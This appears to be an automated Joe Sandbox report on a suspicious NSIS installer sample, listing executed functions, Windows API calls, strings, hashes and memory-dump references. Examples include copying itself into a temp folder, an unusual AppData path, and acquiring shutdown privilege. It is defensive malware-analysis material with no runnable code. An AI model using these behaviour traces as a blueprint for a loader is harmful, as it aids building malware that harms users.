Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.6%
Total number of Nodes:	1542
Total number of Limit Nodes:	46

Executed Functions

Function 00403373 Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 412
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403396
GetVersion.KERNEL32 ref: 0040339C
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033CF
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040340C
OleInitialize.OLE32(00000000), ref: 00403413
SHGetFileInfoW.SHELL32(0042B208,00000000,?,000002B4,00000000), ref: 0040342F
GetCommandLineW.KERNEL32(00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 00403444
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\450707124374000811.exe",00000000,?,00000006,00000008,0000000A), ref: 00403457
CharNextW.USER32(00000000,"C:\Users\user\Desktop\450707124374000811.exe",00000020,?,00000006,00000008,0000000A), ref: 0040347E

Part of subcall function 0040665C: GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
Part of subcall function 0040665C: GetProcAddress.KERNEL32(00000000,?), ref: 00406689

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035B8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035C9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035D5
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035E9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035F1
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403602
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040360A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040361E

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036E9
ExitProcess.KERNEL32 ref: 0040370A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\450707124374000811.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040371D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\450707124374000811.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040372C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\450707124374000811.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403737
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\450707124374000811.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403743
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040375F
DeleteFileW.KERNEL32(0042AA08,0042AA08,?,00435000,00000008,?,00000006,00000008,0000000A), ref: 004037B9
CopyFileW.KERNEL32(C:\Users\user\Desktop\450707124374000811.exe,0042AA08,00000001,?,00000006,00000008,0000000A), ref: 004037CD
CloseHandle.KERNEL32(00000000,0042AA08,0042AA08,?,0042AA08,00000000,?,00000006,00000008,0000000A), ref: 004037FA
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403829
OpenProcessToken.ADVAPI32(00000000), ref: 00403830
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403845
AdjustTokenPrivileges.ADVAPI32 ref: 00403868
ExitWindowsEx.USER32(00000002,80040002), ref: 0040388D
ExitProcess.KERNEL32 ref: 004038B0

Strings

.tmp, xrefs: 00403731
UXTHEME, xrefs: 004033C3, 004033C8, 004033CE
NSIS Error, xrefs: 00403435
C:\Users\user\AppData\Local\Temp\, xrefs: 004035AD, 004035B2, 004035C8, 004035D4, 004035E3, 004035F0, 004035FC, 00403604, 0040371A, 0040372B, 00403736, 00403742, 0040374F, 0040375E, 0040380F
TEMP, xrefs: 004035FD
Error launching installer, xrefs: 004036A0
SeShutdownPrivilege, xrefs: 0040383F
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 004036C6
TMP, xrefs: 00403605
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 0040359B, 004036BB, 00403765, 0040376F
C:\Users\user\Desktop, xrefs: 0040373C, 00403741, 0040376E
~nsu, xrefs: 00403715
\Temp, xrefs: 004035CF
"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 0040344A, 00403450, 00403646
C:\Users\user\Desktop\450707124374000811.exe, xrefs: 004037C8
1033, xrefs: 00403619
Low, xrefs: 004035EB

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$C:\Users\user\Desktop$C:\Users\user\Desktop\450707124374000811.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-1748544714
Opcode ID: d39332670e42baa2e4338040fdf84325205f2ee1dee207f194f6fe0ff4ed9f93
Instruction ID: 7b86b6c626ebcb02b9d5dbe90ebec93722fb19806190c38ba91b5de258dcc2d7
Opcode Fuzzy Hash: d39332670e42baa2e4338040fdf84325205f2ee1dee207f194f6fe0ff4ed9f93
Instruction Fuzzy Hash: 0CD12571500310ABD720BF759D45A2B3AACEB4070AF11487FF981B62E1DB7D8E45876E

Function 00404C62 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404C7A
GetDlgItem.USER32(?,00000408), ref: 00404C85
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CCF
LoadBitmapW.USER32(0000006E), ref: 00404CE2
SetWindowLongW.USER32(?,000000FC,0040525A), ref: 00404CFB
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D0F
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D21
SendMessageW.USER32(?,00001109,00000002), ref: 00404D37
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D43
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D55
DeleteObject.GDI32(00000000), ref: 00404D58
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D83
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D8F
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E25
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E50
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E64
GetWindowLongW.USER32(?,000000F0), ref: 00404E93
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404EA1
ShowWindow.USER32(?,00000005), ref: 00404EB2
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FAF
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00405014
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405029
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040504D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040506D
ImageList_Destroy.COMCTL32(?), ref: 00405082
GlobalFree.KERNEL32(?), ref: 00405092
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040510B
SendMessageW.USER32(?,00001102,?,?), ref: 004051B4
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051C3
InvalidateRect.USER32(?,00000000,00000001), ref: 004051E3
ShowWindow.USER32(?,00000000), ref: 00405231
GetDlgItem.USER32(?,000003FE), ref: 0040523C
ShowWindow.USER32(00000000), ref: 00405243

Strings

, xrefs: 0040521B
M, xrefs: 00404E0C
N, xrefs: 00404EED

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: b7a53bb0e8129e8d6f105adc399685baa7110aa9d584893a6364e795e1a80ea2
Instruction ID: ace54df752983209bd77257c2b819bbd2f8b8ae60686516a6448f39b7f2ae2b0
Opcode Fuzzy Hash: b7a53bb0e8129e8d6f105adc399685baa7110aa9d584893a6364e795e1a80ea2
Instruction Fuzzy Hash: E50270B0900209EFDB109FA4DD85AAE7BB5FB84314F10817AF650BA2E1D7799D42CF58

Function 00405990 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 004059B9
lstrcatW.KERNEL32(0042F250,\*.*,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A01
lstrcatW.KERNEL32(?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A24
lstrlenW.KERNEL32(?,?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A2A
FindFirstFileW.KERNELBASE(0042F250,?,?,?,0040A014,?,0042F250,?,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405A3A
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405ADA
FindClose.KERNEL32(00000000), ref: 00405AE9

Strings

\*.*, xrefs: 004059FB
"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 00405990
C:\Users\user\AppData\Local\Temp\, xrefs: 0040599E

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1362236379
Opcode ID: 7c40550cfb6058a41fac62682ca690ff842edb60165f8b14098a153ca22c4312
Instruction ID: f2c7612d72ec45a398f238805cdec5f3e53338685f49ce317d80e039c8d46841
Opcode Fuzzy Hash: 7c40550cfb6058a41fac62682ca690ff842edb60165f8b14098a153ca22c4312
Instruction Fuzzy Hash: 4E41C230A01A14AACB21AB658C89AAF7778DF81764F14427FF801711C1D77CA992DE6E

Function 004065C5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00430298,0042FA50,00405CA4,0042FA50,0042FA50,00000000,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 004065D0
FindClose.KERNEL32(00000000), ref: 004065DC

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction ID: c6d438537f48b5b2fd9a798109b403d1ef13146c040350fe47557a90c5bdf24f
Opcode Fuzzy Hash: 09a722932e0a1bea88283b0440f714d8f88131f4b1bd488506181814d844a3ce
Instruction Fuzzy Hash: E6D012315091206BC6551B387E0C84B7A589F153717258B37B86AF11E4C734CC628698

Function 00403D3E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D7A
ShowWindow.USER32(?), ref: 00403D97
DestroyWindow.USER32 ref: 00403DAB
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DC7
GetDlgItem.USER32(?,?), ref: 00403DE8
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DFC
IsWindowEnabled.USER32(00000000), ref: 00403E03
GetDlgItem.USER32(?,00000001), ref: 00403EB1
GetDlgItem.USER32(?,00000002), ref: 00403EBB
SetClassLongW.USER32(?,000000F2,?), ref: 00403ED5
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403F26
GetDlgItem.USER32(?,00000003), ref: 00403FCC
ShowWindow.USER32(00000000,?), ref: 00403FED
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403FFF
EnableWindow.USER32(?,?), ref: 0040401A
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404030
EnableMenuItem.USER32(00000000), ref: 00404037
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040404F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404062
lstrlenW.KERNEL32(0042D248,?,0042D248,00000000), ref: 0040408C
SetWindowTextW.USER32(?,0042D248), ref: 004040A0
ShowWindow.USER32(?,0000000A), ref: 004041D4

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d98e6c65d60d857f3aa4eca315e3afb6b45dd94bb5928597cafe6023f70925fc
Instruction ID: 2b8d66c2e1a38ac8fa8a62e4dcdff4cf04ad9fa750ea4aef2484392c4ac96c84
Opcode Fuzzy Hash: d98e6c65d60d857f3aa4eca315e3afb6b45dd94bb5928597cafe6023f70925fc
Instruction Fuzzy Hash: 3EC1D2B1600200AFDB216F61ED89E2B3A68FB94706F04057EF641B51F1CB799982DB6D

Function 00403990 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040665C: GetModuleHandleA.KERNEL32(?,00000020,?,004033E5,0000000A), ref: 0040666E
Part of subcall function 0040665C: GetProcAddress.KERNEL32(00000000,?), ref: 00406689

lstrcatW.KERNEL32(1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\450707124374000811.exe",00000000), ref: 00403A11
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403A91
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\pechay\transskribere\jon,1033,0042D248,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D248,00000000), ref: 00403AA4
GetFileAttributesW.KERNEL32(Call), ref: 00403AAF
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\pechay\transskribere\jon), ref: 00403AF8

Part of subcall function 004061C9: wsprintfW.USER32 ref: 004061D6

RegisterClassW.USER32(00433E80), ref: 00403B35
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B4D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B82
ShowWindow.USER32(00000005,00000000), ref: 00403BB8
GetClassInfoW.USER32(00000000,RichEdit20W,00433E80), ref: 00403BE4
GetClassInfoW.USER32(00000000,RichEdit,00433E80), ref: 00403BF1
RegisterClassW.USER32(00433E80), ref: 00403BFA
DialogBoxParamW.USER32(?,00000000,00403D3E,00000000), ref: 00403C19

Strings

.DEFAULT\Control Panel\International, xrefs: 004039FC
C:\Users\user\AppData\Local\Temp\, xrefs: 0040399C
Control Panel\Desktop\ResourceLocale, xrefs: 004039C4
.exe, xrefs: 00403A9E
Call, xrefs: 00403A58, 00403A61, 00403A6F, 00403ABE, 00403AC4
RichEdit, xrefs: 00403BEB
C:\Users\user\AppData\Roaming\pechay\transskribere\jon, xrefs: 00403A20, 00403A28, 00403ACB, 00403AD1, 00403AE1
"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 00403994
1033, xrefs: 004039B0, 00403A0C
RichEd32, xrefs: 00403BCC
RichEd20, xrefs: 00403BBE
RichEdit20W, xrefs: 00403BDC, 00403BE2
_Nb, xrefs: 00403B14, 00403B7C

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\pechay\transskribere\jon$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2713776338
Opcode ID: d13a808758802c6e3fc48dc76d19d1d1e2605ae81d2ad2d57bfa7261d619400b
Instruction ID: b69a5953a59a380dedfc974e339360e26c19c43312473aa69c5b527d033ca56b
Opcode Fuzzy Hash: d13a808758802c6e3fc48dc76d19d1d1e2605ae81d2ad2d57bfa7261d619400b
Instruction Fuzzy Hash: 7061A8312003006ED320BF669D46F673A6CEB84B5AF40053FF945B62E2DB7DA9418A2D

Function 00402EC1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402ED2
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\450707124374000811.exe,00000400,?,00000006,00000008,0000000A), ref: 00402EEE

Part of subcall function 00405D74: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D78
Part of subcall function 00405D74: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D9A

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\450707124374000811.exe,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F3A

Strings

Null, xrefs: 00402FB8
soft, xrefs: 00402FAF
"C:\Users\user\Desktop\450707124374000811.exe", xrefs: 00402EC1
C:\Users\user\AppData\Local\Temp\, xrefs: 00402ECB
C:\Users\user\Desktop\450707124374000811.exe, xrefs: 00402ED8, 00402EE7, 00402EFB, 00402F1B
Error launching installer, xrefs: 00402F11
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403099
Inst, xrefs: 00402FA6
C:\Users\user\Desktop, xrefs: 00402F1C, 00402F21, 00402F27

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\450707124374000811.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\450707124374000811.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-639599842
Opcode ID: 63e69acdaec1fdaba5d4a89e2a3b5318abe59b2b0843af0c7679ee6c60d0c948
Instruction ID: 5fb561c1f1da7fe65fe29aa304fda9dad36d264b5387f138e6185790fd874317
Opcode Fuzzy Hash: 63e69acdaec1fdaba5d4a89e2a3b5318abe59b2b0843af0c7679ee6c60d0c948
Instruction Fuzzy Hash: 18510471902216AFDB20AF64DD85B9E7EB8FB00359F15403BF904B62C5C7789E408B6C

Function 004062A4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063E5
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 004063F8
SHGetSpecialFolderLocation.SHELL32(0040531D,0041D800,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 00406434
SHGetPathFromIDListW.SHELL32(0041D800,Call), ref: 00406442
CoTaskMemFree.OLE32(0041D800), ref: 0040644D
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406473
lstrlenW.KERNEL32(Call,00000000,0042C228,?,0040531D,0042C228,00000000), ref: 004064CB

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040646D
Call, xrefs: 004062CE, 004063A9, 004063B0, 004063B4, 004063CE, 004063CF, 004063E4, 004063F7, 00406413, 0040643E, 00406472, 00406478, 00406494, 004064A7, 004064C4, 004064CA, 004064D6, 00406509
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063B5

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
